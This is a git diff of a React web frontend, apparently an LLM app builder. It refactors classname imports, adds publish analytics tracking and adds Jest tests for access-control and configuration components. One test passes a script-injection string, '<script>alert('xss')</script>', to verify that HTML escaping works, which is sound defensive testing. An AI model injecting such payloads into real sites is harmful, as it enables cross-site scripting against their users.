diff --git a/web/app/components/app/annotation/view-annotation-modal/index.tsx b/web/app/components/app/annotation/view-annotation-modal/index.tsx
index 8426ab0005..d21b177098 100644
--- a/web/app/components/app/annotation/view-annotation-modal/index.tsx
+++ b/web/app/components/app/annotation/view-annotation-modal/index.tsx
@@ -14,7 +14,7 @@ import TabSlider from '@/app/components/base/tab-slider-plain'
 import { fetchHitHistoryList } from '@/service/annotation'
 import { APP_PAGE_LIMIT } from '@/config'
 import useTimestamp from '@/hooks/use-timestamp'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   appId: string
diff --git a/web/app/components/app/app-access-control/access-control-dialog.tsx b/web/app/components/app/app-access-control/access-control-dialog.tsx
index ee3fa9650b..99cf6d7074 100644
--- a/web/app/components/app/app-access-control/access-control-dialog.tsx
+++ b/web/app/components/app/app-access-control/access-control-dialog.tsx
@@ -2,7 +2,7 @@ import { Fragment, useCallback } from 'react'
 import type { ReactNode } from 'react'
 import { Dialog, Transition } from '@headlessui/react'
 import { RiCloseLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type DialogProps = {
   className?: string
diff --git a/web/app/components/app/app-access-control/access-control.spec.tsx b/web/app/components/app/app-access-control/access-control.spec.tsx
new file mode 100644
index 0000000000..ea0e17de2e
--- /dev/null
+++ b/web/app/components/app/app-access-control/access-control.spec.tsx
@@ -0,0 +1,389 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import AccessControl from './index'
+import AccessControlDialog from './access-control-dialog'
+import AccessControlItem from './access-control-item'
+import AddMemberOrGroupDialog from './add-member-or-group-pop'
+import SpecificGroupsOrMembers from './specific-groups-or-members'
+import useAccessControlStore from '@/context/access-control-store'
+import { useGlobalPublicStore } from '@/context/global-public-context'
+import type { AccessControlAccount, AccessControlGroup, Subject } from '@/models/access-control'
+import { AccessMode, SubjectType } from '@/models/access-control'
+import Toast from '../../base/toast'
+import { defaultSystemFeatures } from '@/types/feature'
+import type { App } from '@/types/app'
+
+const mockUseAppWhiteListSubjects = jest.fn()
+const mockUseSearchForWhiteListCandidates = jest.fn()
+const mockMutateAsync = jest.fn()
+const mockUseUpdateAccessMode = jest.fn(() => ({
+  isPending: false,
+  mutateAsync: mockMutateAsync,
+}))
+
+jest.mock('@/context/app-context', () => ({
+  useSelector: <T,>(selector: (value: { userProfile: { email: string; id?: string; name?: string; avatar?: string; avatar_url?: string; is_password_set?: boolean } }) => T) => selector({
+    userProfile: {
+      id: 'current-user',
+      name: 'Current User',
+      email: 'member@example.com',
+      avatar: '',
+      avatar_url: '',
+      is_password_set: true,
+    },
+  }),
+}))
+
+jest.mock('@/service/common', () => ({
+  fetchCurrentWorkspace: jest.fn(),
+  fetchLangGeniusVersion: jest.fn(),
+  fetchUserProfile: jest.fn(),
+  getSystemFeatures: jest.fn(),
+}))
+
+jest.mock('@/service/access-control', () => ({
+  useAppWhiteListSubjects: (...args: unknown[]) => mockUseAppWhiteListSubjects(...args),
+  useSearchForWhiteListCandidates: (...args: unknown[]) => mockUseSearchForWhiteListCandidates(...args),
+  useUpdateAccessMode: () => mockUseUpdateAccessMode(),
+}))
+
+jest.mock('@headlessui/react', () => {
+  const DialogComponent: any = ({ children, className, ...rest }: any) => (
+    <div role="dialog" className={className} {...rest}>{children}</div>
+  )
+  DialogComponent.Panel = ({ children, className, ...rest }: any) => (
+    <div className={className} {...rest}>{children}</div>
+  )
+  const DialogTitle = ({ children, className, ...rest }: any) => (
+    <div className={className} {...rest}>{children}</div>
+  )
+  const DialogDescription = ({ children, className, ...rest }: any) => (
+    <div className={className} {...rest}>{children}</div>
+  )
+  const TransitionChild = ({ children }: any) => (
+    <>{typeof children === 'function' ? children({}) : children}</>
+  )
+  const Transition = ({ show = true, children }: any) => (
+    show ? <>{typeof children === 'function' ? children({}) : children}</> : null
+  )
+  Transition.Child = TransitionChild
+  return {
+    Dialog: DialogComponent,
+    Transition,
+    DialogTitle,
+    Description: DialogDescription,
+  }
+})
+
+jest.mock('ahooks', () => {
+  const actual = jest.requireActual('ahooks')
+  return {
+    ...actual,
+    useDebounce: (value: unknown) => value,
+  }
+})
+
+const createGroup = (overrides: Partial<AccessControlGroup> = {}): AccessControlGroup => ({
+  id: 'group-1',
+  name: 'Group One',
+  groupSize: 5,
+  ...overrides,
+} as AccessControlGroup)
+
+const createMember = (overrides: Partial<AccessControlAccount> = {}): AccessControlAccount => ({
+  id: 'member-1',
+  name: 'Member One',
+  email: 'member@example.com',
+  avatar: '',
+  avatarUrl: '',
+  ...overrides,
+} as AccessControlAccount)
+
+const baseGroup = createGroup()
+const baseMember = createMember()
+const groupSubject: Subject = {
+  subjectId: baseGroup.id,
+  subjectType: SubjectType.GROUP,
+  groupData: baseGroup,
+} as Subject
+const memberSubject: Subject = {
+  subjectId: baseMember.id,
+  subjectType: SubjectType.ACCOUNT,
+  accountData: baseMember,
+} as Subject
+
+const resetAccessControlStore = () => {
+  useAccessControlStore.setState({
+    appId: '',
+    specificGroups: [],
+    specificMembers: [],
+    currentMenu: AccessMode.SPECIFIC_GROUPS_MEMBERS,
+    selectedGroupsForBreadcrumb: [],
+  })
+}
+
+const resetGlobalStore = () => {
+  useGlobalPublicStore.setState({
+    systemFeatures: defaultSystemFeatures,
+    isGlobalPending: false,
+  })
+}
+
+beforeAll(() => {
+  class MockIntersectionObserver {
+    observe = jest.fn(() => undefined)
+    disconnect = jest.fn(() => undefined)
+    unobserve = jest.fn(() => undefined)
+  }
+  // @ts-expect-error jsdom does not implement IntersectionObserver
+  globalThis.IntersectionObserver = MockIntersectionObserver
+})
+
+beforeEach(() => {
+  jest.clearAllMocks()
+  resetAccessControlStore()
+  resetGlobalStore()
+  mockMutateAsync.mockResolvedValue(undefined)
+  mockUseUpdateAccessMode.mockReturnValue({
+    isPending: false,
+    mutateAsync: mockMutateAsync,
+  })
+  mockUseAppWhiteListSubjects.mockReturnValue({
+    isPending: false,
+    data: {
+      groups: [baseGroup],
+      members: [baseMember],
+    },
+  })
+  mockUseSearchForWhiteListCandidates.mockReturnValue({
+    isLoading: false,
+    isFetchingNextPage: false,
+    fetchNextPage: jest.fn(),
+    data: { pages: [{ currPage: 1, subjects: [groupSubject, memberSubject], hasMore: false }] },
+  })
+})
+
+// AccessControlItem handles selected vs. unselected styling and click state updates
+describe('AccessControlItem', () => {
+  it('should update current menu when selecting a different access type', () => {
+    useAccessControlStore.setState({ currentMenu: AccessMode.PUBLIC })
+    render(
+      <AccessControlItem type={AccessMode.ORGANIZATION}>
+        <span>Organization Only</span>
+      </AccessControlItem>,
+    )
+
+    const option = screen.getByText('Organization Only').parentElement as HTMLElement
+    expect(option).toHaveClass('cursor-pointer')
+
+    fireEvent.click(option)
+
+    expect(useAccessControlStore.getState().currentMenu).toBe(AccessMode.ORGANIZATION)
+  })
+
+  it('should keep current menu when clicking the selected access type', () => {
+    useAccessControlStore.setState({ currentMenu: AccessMode.ORGANIZATION })
+    render(
+      <AccessControlItem type={AccessMode.ORGANIZATION}>
+        <span>Organization Only</span>
+      </AccessControlItem>,
+    )
+
+    const option = screen.getByText('Organization Only').parentElement as HTMLElement
+    fireEvent.click(option)
+
+    expect(useAccessControlStore.getState().currentMenu).toBe(AccessMode.ORGANIZATION)
+  })
+})
+
+// AccessControlDialog renders a headless UI dialog with a manual close control
+describe('AccessControlDialog', () => {
+  it('should render dialog content when visible', () => {
+    render(
+      <AccessControlDialog show className="custom-dialog">
+        <div>Dialog Content</div>
+      </AccessControlDialog>,
+    )
+
+    expect(screen.getByRole('dialog')).toBeInTheDocument()
+    expect(screen.getByText('Dialog Content')).toBeInTheDocument()
+  })
+
+  it('should trigger onClose when clicking the close control', async () => {
+    const handleClose = jest.fn()
+    const { container } = render(
+      <AccessControlDialog show onClose={handleClose}>
+        <div>Dialog Content</div>
+      </AccessControlDialog>,
+    )
+
+    const closeButton = container.querySelector('.absolute.right-5.top-5') as HTMLElement
+    fireEvent.click(closeButton)
+
+    await waitFor(() => {
+      expect(handleClose).toHaveBeenCalledTimes(1)
+    })
+  })
+})
+
+// SpecificGroupsOrMembers syncs store state with fetched data and supports removals
+describe('SpecificGroupsOrMembers', () => {
+  it('should render collapsed view when not in specific selection mode', () => {
+    useAccessControlStore.setState({ currentMenu: AccessMode.ORGANIZATION })
+
+    render(<SpecificGroupsOrMembers />)
+
+    expect(screen.getByText('app.accessControlDialog.accessItems.specific')).toBeInTheDocument()
+    expect(screen.queryByText(baseGroup.name)).not.toBeInTheDocument()
+  })
+
+  it('should show loading state while pending', async () => {
+    useAccessControlStore.setState({ appId: 'app-1', currentMenu: AccessMode.SPECIFIC_GROUPS_MEMBERS })
+    mockUseAppWhiteListSubjects.mockReturnValue({
+      isPending: true,
+      data: undefined,
+    })
+
+    const { container } = render(<SpecificGroupsOrMembers />)
+
+    await waitFor(() => {
+      expect(container.querySelector('.spin-animation')).toBeInTheDocument()
+    })
+  })
+
+  it('should render fetched groups and members and support removal', async () => {
+    useAccessControlStore.setState({ appId: 'app-1', currentMenu: AccessMode.SPECIFIC_GROUPS_MEMBERS })
+
+    render(<SpecificGroupsOrMembers />)
+
+    await waitFor(() => {
+      expect(screen.getByText(baseGroup.name)).toBeInTheDocument()
+      expect(screen.getByText(baseMember.name)).toBeInTheDocument()
+    })
+
+    const groupItem = screen.getByText(baseGroup.name).closest('div')
+    const groupRemove = groupItem?.querySelector('.h-4.w-4.cursor-pointer') as HTMLElement
+    fireEvent.click(groupRemove)
+
+    await waitFor(() => {
+      expect(screen.queryByText(baseGroup.name)).not.toBeInTheDocument()
+    })
+
+    const memberItem = screen.getByText(baseMember.name).closest('div')
+    const memberRemove = memberItem?.querySelector('.h-4.w-4.cursor-pointer') as HTMLElement
+    fireEvent.click(memberRemove)
+
+    await waitFor(() => {
+      expect(screen.queryByText(baseMember.name)).not.toBeInTheDocument()
+    })
+  })
+})
+
+// AddMemberOrGroupDialog renders search results and updates store selections
+describe('AddMemberOrGroupDialog', () => {
+  it('should open search popover and display candidates', async () => {
+    const user = userEvent.setup()
+
+    render(<AddMemberOrGroupDialog />)
+
+    await user.click(screen.getByText('common.operation.add'))
+
+    expect(screen.getByPlaceholderText('app.accessControlDialog.operateGroupAndMember.searchPlaceholder')).toBeInTheDocument()
+    expect(screen.getByText(baseGroup.name)).toBeInTheDocument()
+    expect(screen.getByText(baseMember.name)).toBeInTheDocument()
+  })
+
+  it('should allow selecting members and expanding groups', async () => {
+    const user = userEvent.setup()
+    render(<AddMemberOrGroupDialog />)
+
+    await user.click(screen.getByText('common.operation.add'))
+
+    const expandButton = screen.getByText('app.accessControlDialog.operateGroupAndMember.expand')
+    await user.click(expandButton)
+    expect(useAccessControlStore.getState().selectedGroupsForBreadcrumb).toEqual([baseGroup])
+
+    const memberLabel = screen.getByText(baseMember.name)
+    const memberCheckbox = memberLabel.parentElement?.previousElementSibling as HTMLElement
+    fireEvent.click(memberCheckbox)
+
+    expect(useAccessControlStore.getState().specificMembers).toEqual([baseMember])
+  })
+
+  it('should show empty state when no candidates are returned', async () => {
+    mockUseSearchForWhiteListCandidates.mockReturnValue({
+      isLoading: false,
+      isFetchingNextPage: false,
+      fetchNextPage: jest.fn(),
+      data: { pages: [] },
+    })
+
+    const user = userEvent.setup()
+    render(<AddMemberOrGroupDialog />)
+
+    await user.click(screen.getByText('common.operation.add'))
+
+    expect(screen.getByText('app.accessControlDialog.operateGroupAndMember.noResult')).toBeInTheDocument()
+  })
+})
+
+// AccessControl integrates dialog, selection items, and confirm flow
+describe('AccessControl', () => {
+  it('should initialize menu from app and call update on confirm', async () => {
+    const onClose = jest.fn()
+    const onConfirm = jest.fn()
+    const toastSpy = jest.spyOn(Toast, 'notify').mockReturnValue({})
+    useAccessControlStore.setState({
+      specificGroups: [baseGroup],
+      specificMembers: [baseMember],
+    })
+    const app = {
+      id: 'app-id-1',
+      access_mode: AccessMode.SPECIFIC_GROUPS_MEMBERS,
+    } as App
+
+    render(
+      <AccessControl
+        app={app}
+        onClose={onClose}
+        onConfirm={onConfirm}
+      />,
+    )
+
+    await waitFor(() => {
+      expect(useAccessControlStore.getState().currentMenu).toBe(AccessMode.SPECIFIC_GROUPS_MEMBERS)
+    })
+
+    fireEvent.click(screen.getByText('common.operation.confirm'))
+
+    await waitFor(() => {
+      expect(mockMutateAsync).toHaveBeenCalledWith({
+        appId: app.id,
+        accessMode: AccessMode.SPECIFIC_GROUPS_MEMBERS,
+        subjects: [
+          { subjectId: baseGroup.id, subjectType: SubjectType.GROUP },
+          { subjectId: baseMember.id, subjectType: SubjectType.ACCOUNT },
+        ],
+      })
+      expect(toastSpy).toHaveBeenCalled()
+      expect(onConfirm).toHaveBeenCalled()
+    })
+  })
+
+  it('should expose the external members tip when SSO is disabled', () => {
+    const app = {
+      id: 'app-id-2',
+      access_mode: AccessMode.PUBLIC,
+    } as App
+
+    render(
+      <AccessControl
+        app={app}
+        onClose={jest.fn()}
+      />,
+    )
+
+    expect(screen.getByText('app.accessControlDialog.accessItems.external')).toBeInTheDocument()
+    expect(screen.getByText('app.accessControlDialog.accessItems.anyone')).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/app/app-access-control/add-member-or-group-pop.tsx b/web/app/components/app/app-access-control/add-member-or-group-pop.tsx
index e9519aeedf..17263fdd46 100644
--- a/web/app/components/app/app-access-control/add-member-or-group-pop.tsx
+++ b/web/app/components/app/app-access-control/add-member-or-group-pop.tsx
@@ -11,7 +11,7 @@ import Input from '../../base/input'
 import { PortalToFollowElem, PortalToFollowElemContent, PortalToFollowElemTrigger } from '../../base/portal-to-follow-elem'
 import Loading from '../../base/loading'
 import useAccessControlStore from '../../../../context/access-control-store'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useSearchForWhiteListCandidates } from '@/service/access-control'
 import type { AccessControlAccount, AccessControlGroup, Subject, SubjectAccount, SubjectGroup } from '@/models/access-control'
 import { SubjectType } from '@/models/access-control'
@@ -32,7 +32,7 @@ export default function AddMemberOrGroupDialog() {
 
   const anchorRef = useRef<HTMLDivElement>(null)
   useEffect(() => {
-    const hasMore = data?.pages?.[0].hasMore ?? false
+    const hasMore = data?.pages?.[0]?.hasMore ?? false
     let observer: IntersectionObserver | undefined
     if (anchorRef.current) {
       observer = new IntersectionObserver((entries) => {
@@ -106,7 +106,7 @@ function SelectedGroupsBreadCrumb() {
     setSelectedGroupsForBreadcrumb([])
   }, [setSelectedGroupsForBreadcrumb])
   return <div className='flex h-7 items-center gap-x-0.5 px-2 py-0.5'>
-    <span className={classNames('system-xs-regular text-text-tertiary', selectedGroupsForBreadcrumb.length > 0 && 'cursor-pointer text-text-accent')} onClick={handleReset}>{t('app.accessControlDialog.operateGroupAndMember.allMembers')}</span>
+    <span className={cn('system-xs-regular text-text-tertiary', selectedGroupsForBreadcrumb.length > 0 && 'cursor-pointer text-text-accent')} onClick={handleReset}>{t('app.accessControlDialog.operateGroupAndMember.allMembers')}</span>
     {selectedGroupsForBreadcrumb.map((group, index) => {
       return <div key={index} className='system-xs-regular flex items-center gap-x-0.5 text-text-tertiary'>
         <span>/</span>
@@ -198,7 +198,7 @@ type BaseItemProps = {
   children: React.ReactNode
 }
 function BaseItem({ children, className }: BaseItemProps) {
-  return <div className={classNames('flex cursor-pointer items-center space-x-2 p-1 pl-2 hover:rounded-lg hover:bg-state-base-hover', className)}>
+  return <div className={cn('flex cursor-pointer items-center space-x-2 p-1 pl-2 hover:rounded-lg hover:bg-state-base-hover', className)}>
     {children}
   </div>
 }
diff --git a/web/app/components/app/app-publisher/index.tsx b/web/app/components/app/app-publisher/index.tsx
index 2dc45e1337..5aea337f85 100644
--- a/web/app/components/app/app-publisher/index.tsx
+++ b/web/app/components/app/app-publisher/index.tsx
@@ -51,6 +51,7 @@ import { AppModeEnum } from '@/types/app'
 import type { PublishWorkflowParams } from '@/types/workflow'
 import { basePath } from '@/utils/var'
 import UpgradeBtn from '@/app/components/billing/upgrade-btn'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 const ACCESS_MODE_MAP: Record<AccessMode, { label: string, icon: React.ElementType }> = {
   [AccessMode.ORGANIZATION]: {
@@ -189,11 +190,12 @@ const AppPublisher = ({
     try {
       await onPublish?.(params)
       setPublished(true)
+      trackEvent('app_published_time', { action_mode: 'app', app_id: appDetail?.id, app_name: appDetail?.name })
     }
     catch {
       setPublished(false)
     }
-  }, [onPublish])
+  }, [appDetail, onPublish])
 
   const handleRestore = useCallback(async () => {
     try {
diff --git a/web/app/components/app/app-publisher/suggested-action.tsx b/web/app/components/app/app-publisher/suggested-action.tsx
index 2535de6654..154bacc361 100644
--- a/web/app/components/app/app-publisher/suggested-action.tsx
+++ b/web/app/components/app/app-publisher/suggested-action.tsx
@@ -1,6 +1,6 @@
 import type { HTMLProps, PropsWithChildren } from 'react'
 import { RiArrowRightUpLine } from '@remixicon/react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type SuggestedActionProps = PropsWithChildren<HTMLProps<HTMLAnchorElement> & {
   icon?: React.ReactNode
@@ -19,11 +19,9 @@ const SuggestedAction = ({ icon, link, disabled, children, className, onClick, .
       href={disabled ? undefined : link}
       target='_blank'
       rel='noreferrer'
-      className={classNames(
-        'flex items-center justify-start gap-2 rounded-lg bg-background-section-burn px-2.5 py-2 text-text-secondary transition-colors [&:not(:first-child)]:mt-1',
+      className={cn('flex items-center justify-start gap-2 rounded-lg bg-background-section-burn px-2.5 py-2 text-text-secondary transition-colors [&:not(:first-child)]:mt-1',
         disabled ? 'cursor-not-allowed opacity-30 shadow-xs' : 'cursor-pointer text-text-secondary hover:bg-state-accent-hover hover:text-text-accent',
-        className,
-      )}
+        className)}
       onClick={handleClick}
       {...props}
     >
diff --git a/web/app/components/app/configuration/base/feature-panel/index.tsx b/web/app/components/app/configuration/base/feature-panel/index.tsx
index ec5ab96d76..c9ebfefbe5 100644
--- a/web/app/components/app/configuration/base/feature-panel/index.tsx
+++ b/web/app/components/app/configuration/base/feature-panel/index.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC, ReactNode } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type IFeaturePanelProps = {
   className?: string
diff --git a/web/app/components/app/configuration/base/group-name/index.spec.tsx b/web/app/components/app/configuration/base/group-name/index.spec.tsx
new file mode 100644
index 0000000000..ac504247f2
--- /dev/null
+++ b/web/app/components/app/configuration/base/group-name/index.spec.tsx
@@ -0,0 +1,21 @@
+import { render, screen } from '@testing-library/react'
+import GroupName from './index'
+
+describe('GroupName', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render name when provided', () => {
+      // Arrange
+      const title = 'Inputs'
+
+      // Act
+      render(<GroupName name={title} />)
+
+      // Assert
+      expect(screen.getByText(title)).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/base/operation-btn/index.spec.tsx b/web/app/components/app/configuration/base/operation-btn/index.spec.tsx
new file mode 100644
index 0000000000..615a1769e8
--- /dev/null
+++ b/web/app/components/app/configuration/base/operation-btn/index.spec.tsx
@@ -0,0 +1,70 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import OperationBtn from './index'
+
+jest.mock('@remixicon/react', () => ({
+  RiAddLine: (props: { className?: string }) => (
+    <svg data-testid='add-icon' className={props.className} />
+  ),
+  RiEditLine: (props: { className?: string }) => (
+    <svg data-testid='edit-icon' className={props.className} />
+  ),
+}))
+
+describe('OperationBtn', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering icons and translation labels
+  describe('Rendering', () => {
+    it('should render passed custom class when provided', () => {
+      // Arrange
+      const customClass = 'custom-class'
+
+      // Act
+      render(<OperationBtn type='add' className={customClass} />)
+
+      // Assert
+      expect(screen.getByText('common.operation.add').parentElement).toHaveClass(customClass)
+    })
+    it('should render add icon when type is add', () => {
+      // Arrange
+      const onClick = jest.fn()
+
+      // Act
+      render(<OperationBtn type='add' onClick={onClick} className='custom-class' />)
+
+      // Assert
+      expect(screen.getByTestId('add-icon')).toBeInTheDocument()
+      expect(screen.getByText('common.operation.add')).toBeInTheDocument()
+    })
+
+    it('should render edit icon when provided', () => {
+      // Arrange
+      const actionName = 'Rename'
+
+      // Act
+      render(<OperationBtn type='edit' actionName={actionName} />)
+
+      // Assert
+      expect(screen.getByTestId('edit-icon')).toBeInTheDocument()
+      expect(screen.queryByTestId('add-icon')).toBeNull()
+      expect(screen.getByText(actionName)).toBeInTheDocument()
+    })
+  })
+
+  // Click handling
+  describe('Interactions', () => {
+    it('should execute click handler when button is clicked', () => {
+      // Arrange
+      const onClick = jest.fn()
+      render(<OperationBtn type='add' onClick={onClick} />)
+
+      // Act
+      fireEvent.click(screen.getByText('common.operation.add'))
+
+      // Assert
+      expect(onClick).toHaveBeenCalledTimes(1)
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/base/operation-btn/index.tsx b/web/app/components/app/configuration/base/operation-btn/index.tsx
index aba35cded2..db19d2976e 100644
--- a/web/app/components/app/configuration/base/operation-btn/index.tsx
+++ b/web/app/components/app/configuration/base/operation-btn/index.tsx
@@ -6,7 +6,7 @@ import {
   RiAddLine,
   RiEditLine,
 } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { noop } from 'lodash-es'
 
 export type IOperationBtnProps = {
diff --git a/web/app/components/app/configuration/base/var-highlight/index.spec.tsx b/web/app/components/app/configuration/base/var-highlight/index.spec.tsx
new file mode 100644
index 0000000000..9e84aa09ac
--- /dev/null
+++ b/web/app/components/app/configuration/base/var-highlight/index.spec.tsx
@@ -0,0 +1,62 @@
+import { render, screen } from '@testing-library/react'
+import VarHighlight, { varHighlightHTML } from './index'
+
+describe('VarHighlight', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering highlighted variable tags
+  describe('Rendering', () => {
+    it('should render braces around the variable name with default styles', () => {
+      // Arrange
+      const props = { name: 'userInput' }
+
+      // Act
+      const { container } = render(<VarHighlight {...props} />)
+
+      // Assert
+      expect(screen.getByText('userInput')).toBeInTheDocument()
+      expect(screen.getAllByText('{{')[0]).toBeInTheDocument()
+      expect(screen.getAllByText('}}')[0]).toBeInTheDocument()
+      expect(container.firstChild).toHaveClass('item')
+    })
+
+    it('should apply custom class names when provided', () => {
+      // Arrange
+      const props = { name: 'custom', className: 'mt-2' }
+
+      // Act
+      const { container } = render(<VarHighlight {...props} />)
+
+      // Assert
+      expect(container.firstChild).toHaveClass('mt-2')
+    })
+  })
+
+  // Escaping HTML via helper
+  describe('varHighlightHTML', () => {
+    it('should escape dangerous characters before returning HTML string', () => {
+      // Arrange
+      const props = { name: '<script>alert(\'xss\')</script>' }
+
+      // Act
+      const html = varHighlightHTML(props)
+
+      // Assert
+      expect(html).toContain('&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;')
+      expect(html).not.toContain('<script>')
+    })
+
+    it('should include custom class names in the wrapper element', () => {
+      // Arrange
+      const props = { name: 'data', className: 'text-primary' }
+
+      // Act
+      const html = varHighlightHTML(props)
+
+      // Assert
+      expect(html).toContain('class="item text-primary')
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/base/warning-mask/cannot-query-dataset.spec.tsx b/web/app/components/app/configuration/base/warning-mask/cannot-query-dataset.spec.tsx
new file mode 100644
index 0000000000..d625e9fb72
--- /dev/null
+++ b/web/app/components/app/configuration/base/warning-mask/cannot-query-dataset.spec.tsx
@@ -0,0 +1,22 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import CannotQueryDataset from './cannot-query-dataset'
+
+describe('CannotQueryDataset WarningMask', () => {
+  test('should render dataset warning copy and action button', () => {
+    const onConfirm = jest.fn()
+    render(<CannotQueryDataset onConfirm={onConfirm} />)
+
+    expect(screen.getByText('appDebug.feature.dataSet.queryVariable.unableToQueryDataSet')).toBeInTheDocument()
+    expect(screen.getByText('appDebug.feature.dataSet.queryVariable.unableToQueryDataSetTip')).toBeInTheDocument()
+    expect(screen.getByRole('button', { name: 'appDebug.feature.dataSet.queryVariable.ok' })).toBeInTheDocument()
+  })
+
+  test('should invoke onConfirm when OK button clicked', () => {
+    const onConfirm = jest.fn()
+    render(<CannotQueryDataset onConfirm={onConfirm} />)
+
+    fireEvent.click(screen.getByRole('button', { name: 'appDebug.feature.dataSet.queryVariable.ok' }))
+    expect(onConfirm).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/web/app/components/app/configuration/base/warning-mask/formatting-changed.spec.tsx b/web/app/components/app/configuration/base/warning-mask/formatting-changed.spec.tsx
new file mode 100644
index 0000000000..a968bde272
--- /dev/null
+++ b/web/app/components/app/configuration/base/warning-mask/formatting-changed.spec.tsx
@@ -0,0 +1,39 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import FormattingChanged from './formatting-changed'
+
+describe('FormattingChanged WarningMask', () => {
+  test('should display translation text and both actions', () => {
+    const onConfirm = jest.fn()
+    const onCancel = jest.fn()
+
+    render(
+      <FormattingChanged
+        onConfirm={onConfirm}
+        onCancel={onCancel}
+      />,
+    )
+
+    expect(screen.getByText('appDebug.formattingChangedTitle')).toBeInTheDocument()
+    expect(screen.getByText('appDebug.formattingChangedText')).toBeInTheDocument()
+    expect(screen.getByRole('button', { name: 'common.operation.cancel' })).toBeInTheDocument()
+    expect(screen.getByRole('button', { name: /common\.operation\.refresh/ })).toBeInTheDocument()
+  })
+
+  test('should call callbacks when buttons are clicked', () => {
+    const onConfirm = jest.fn()
+    const onCancel = jest.fn()
+    render(
+      <FormattingChanged
+        onConfirm={onConfirm}
+        onCancel={onCancel}
+      />,
+    )
+
+    fireEvent.click(screen.getByRole('button', { name: /common\.operation\.refresh/ }))
+    fireEvent.click(screen.getByRole('button', { name: 'common.operation.cancel' }))
+
+    expect(onConfirm).toHaveBeenCalledTimes(1)
+    expect(onCancel).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/web/app/components/app/configuration/base/warning-mask/has-not-set-api.spec.tsx b/web/app/components/app/configuration/base/warning-mask/has-not-set-api.spec.tsx
new file mode 100644
index 0000000000..46608374da
--- /dev/null
+++ b/web/app/components/app/configuration/base/warning-mask/has-not-set-api.spec.tsx
@@ -0,0 +1,26 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import HasNotSetAPI from './has-not-set-api'
+
+describe('HasNotSetAPI WarningMask', () => {
+  test('should show default title when trial not finished', () => {
+    render(<HasNotSetAPI isTrailFinished={false} onSetting={jest.fn()} />)
+
+    expect(screen.getByText('appDebug.notSetAPIKey.title')).toBeInTheDocument()
+    expect(screen.getByText('appDebug.notSetAPIKey.description')).toBeInTheDocument()
+  })
+
+  test('should show trail finished title when flag is true', () => {
+    render(<HasNotSetAPI isTrailFinished onSetting={jest.fn()} />)
+
+    expect(screen.getByText('appDebug.notSetAPIKey.trailFinished')).toBeInTheDocument()
+  })
+
+  test('should call onSetting when primary button clicked', () => {
+    const onSetting = jest.fn()
+    render(<HasNotSetAPI isTrailFinished={false} onSetting={onSetting} />)
+
+    fireEvent.click(screen.getByRole('button', { name: 'appDebug.notSetAPIKey.settingBtn' }))
+    expect(onSetting).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/web/app/components/app/configuration/base/warning-mask/index.spec.tsx b/web/app/components/app/configuration/base/warning-mask/index.spec.tsx
new file mode 100644
index 0000000000..6d533a423d
--- /dev/null
+++ b/web/app/components/app/configuration/base/warning-mask/index.spec.tsx
@@ -0,0 +1,25 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import WarningMask from './index'
+
+describe('WarningMask', () => {
+  // Rendering of title, description, and footer content
+  describe('Rendering', () => {
+    test('should display provided title, description, and footer node', () => {
+      const footer = <button type="button">Retry</button>
+      // Arrange
+      render(
+        <WarningMask
+          title="Access Restricted"
+          description="Only workspace owners may modify this section."
+          footer={footer}
+        />,
+      )
+
+      // Assert
+      expect(screen.getByText('Access Restricted')).toBeInTheDocument()
+      expect(screen.getByText('Only workspace owners may modify this section.')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'Retry' })).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/config-prompt/advanced-prompt-input.tsx b/web/app/components/app/configuration/config-prompt/advanced-prompt-input.tsx
index 5bf2f177ff..6492864ce2 100644
--- a/web/app/components/app/configuration/config-prompt/advanced-prompt-input.tsx
+++ b/web/app/components/app/configuration/config-prompt/advanced-prompt-input.tsx
@@ -14,7 +14,7 @@ import s from './style.module.css'
 import MessageTypeSelector from './message-type-selector'
 import ConfirmAddVar from './confirm-add-var'
 import PromptEditorHeightResizeWrap from './prompt-editor-height-resize-wrap'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { PromptRole, PromptVariable } from '@/models/debug'
 import {
   Copy,
diff --git a/web/app/components/app/configuration/config-prompt/confirm-add-var/index.spec.tsx b/web/app/components/app/configuration/config-prompt/confirm-add-var/index.spec.tsx
index 7ffafbb172..211b43c5ba 100644
--- a/web/app/components/app/configuration/config-prompt/confirm-add-var/index.spec.tsx
+++ b/web/app/components/app/configuration/config-prompt/confirm-add-var/index.spec.tsx
@@ -2,12 +2,6 @@ import React from 'react'
 import { fireEvent, render, screen } from '@testing-library/react'
 import ConfirmAddVar from './index'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 jest.mock('../../base/var-highlight', () => ({
   __esModule: true,
